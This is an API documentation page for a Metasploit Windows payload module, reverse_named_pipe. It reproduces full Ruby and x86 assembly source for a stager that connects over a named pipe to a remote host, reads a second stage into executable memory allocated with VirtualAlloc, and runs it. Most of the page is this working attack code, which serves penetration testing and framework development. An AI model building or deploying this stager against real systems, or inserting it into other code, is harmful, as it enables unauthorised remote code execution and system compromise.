Module: Msf::Payload::Windows::ReverseNamedPipe

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi, Exitfunk, SendUUID
Defined in:
lib/msf/core/payload/windows/reverse_named_pipe.rb

Overview

Complex reverse_named_pipe payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_reverse_named_pipe(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :port (Fixnum)

    The port to connect to

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool)

    Whether or not to enable error handling code



101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 101

def asm_reverse_named_pipe(opts={})

  retry_count    = [opts[:retry_count].to_i, 1].max
  reliable       = opts[:reliable]
  # we have to double-escape because of metasm
  full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the handle for the pipe to the server

    retry_start:
      push #{retry_count}     ; retry counter
      mov esi, esp            ; keep track of where the variables are

    try_reverse_named_pipe:
      ; Start by setting up the call to CreateFile
      xor ebx, ebx            ; EBX will be used for pushing zero
      push ebx                ; hTemplateFile
      push ebx                ; dwFlagsAndAttributes
      push 3                  ; dwCreationDisposition (OPEN_EXISTING)
      push ebx                ; lpSecurityAttributes
      push ebx                ; dwShareMode
      push 0xC0000000         ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
      call get_pipe_name
      db "#{full_pipe_name}", 0x00
    get_pipe_name:
                              ; lpFileName (via call)
      push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
      call ebp                ; CreateFileA(...)

      ; If eax is -1, then we had a failure.
      cmp eax, -1             ; -1 means a failure
      jnz connected

    handle_connect_failure:
      ; decrement our attempt count and try again
      dec [esi]
      jnz try_reverse_named_pipe
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call ebp
    ^
  end

  asm << %Q^
    ; this label is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
      xchg edi, eax           ; edi now has the file handle we'll need in future
  ^

  asm << asm_write_uuid if include_send_uuid

  asm << %Q^
      ; Receive the size of the incoming second stage...
      push ebx                ; buffer for lpNumberOfBytesRead
      mov ecx, esp
      push ebx                ; buffer for lpBuffer
      mov esi, esp
      push ebx                ; lpOverlapped
      push ecx                ; lpNumberOfBytesRead
      push 4                  ; nNumberOfBytesToRead = sizeof( DWORD );
      push esi                ; lpBuffer
      push edi                ; hFile
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call ebp                ; ReadFile(...) to read the size
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the file read worked, retry otherwise
      ; if it fails
      test eax, eax
      jz cleanup_file
      mov eax, [esi+4]        ; check to see if bytes were read
      test eax, eax
      jz cleanup_file
    ^
  end

  asm << %Q^
      ; Alloc a RWX buffer for the second stage
      mov esi, [esi]          ; dereference the pointer to the second stage length
      push 0x40               ; PAGE_EXECUTE_READWRITE
      push 0x1000             ; MEM_COMMIT
      push esi                ; push the newly received second stage length.
      push 0                  ; NULL as we dont care where the allocation is.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      xchg ebx, eax           ; ebx = our new memory address for the new stage
      push ebx                ; push the address of the new stage so we can return into it

    read_more:
      ; prepare the size min(0x10000, esi)
      mov ecx, 0x10000         ; stupid named pipe buffer limit
      cmp ecx, esi
      jle size_is_good
      mov ecx, esi

    size_is_good:
      ; Invoke a read
      push eax                ; space for the number of bytes
      mov eax, esp            ; store the pointer
      push 0                  ; lpOverlapped
      push eax                ; lpNumberOfBytesRead
      push ecx                ; nNumberOfBytesToRead
      push ebx                ; lpBuffer
      push edi                ; hFile
      push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call ebp                ; ReadFile(...) to read the data
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the recv worked, and reconnect
      ; if it fails
      cmp eax, 0
      jz read_failed
      pop eax                 ; get the number of bytes read
      cmp eax, 0
      jnz read_successful

    read_failed:
      ; something failed, free up memory
      pop eax                 ; get the address of the payload
      push 0x4000             ; dwFreeType (MEM_DECOMMIT)
      push 0                  ; dwSize
      push eax                ; lpAddress
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call ebp                ; VirtualFree(payload, 0, MEM_DECOMMIT)
      ; restore the stack (one more pop after 2nd ReadFile call)
      pop esi

    cleanup_file:
      ; clear up the named pipe handle
      push edi                ; named pipe handle
      push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
      call ebp                ; CloseHandle(...)

      ; restore the stack back to the connection retry count
      pop esi
      pop esi
      dec [esp]               ; decrement the counter

      ; try again
      jmp try_reverse_named_pipe
    ^
  else
    asm << %Q^
      pop eax                 ; pop bytes read
    ^
  end

  asm << %Q^
    read_successful:
      add ebx, eax            ; buffer += bytes_received
      sub esi, eax            ; length -= bytes_received, will set flags
      jnz read_more           ; continue if we have more to read
      ret                     ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 29

def generate(_opts = {})
  conf = {
    name:        datastore['PIPENAME'],
    host:        datastore['PIPEHOST'] || '.',
    retry_count: datastore['ReverseConnectRetries'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_named_pipe(conf)
end

#generate_reverse_named_pipe(opts = {}) ⇒ Object

Generate and compile the stager



61
62
63
64
65
66
67
68
69
70
71
72
73
# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 61

def generate_reverse_named_pipe(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_named_pipe(opts)}
  ^

  #"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.



50
51
52
# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 50

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse_named_pipe specific options



22
23
24
# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 22

def initialize(*args)
  super
end

#required_spaceObject

Determine the maximum amount of space required for the features requested



78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 78

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
  space += 29

  # Reliability adds some bytes!
  space += 44

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object



54
55
56
# File 'lib/msf/core/payload/windows/reverse_named_pipe.rb', line 54

def transport_config(opts={})
  transport_config_reverse_named_pipe(opts)
end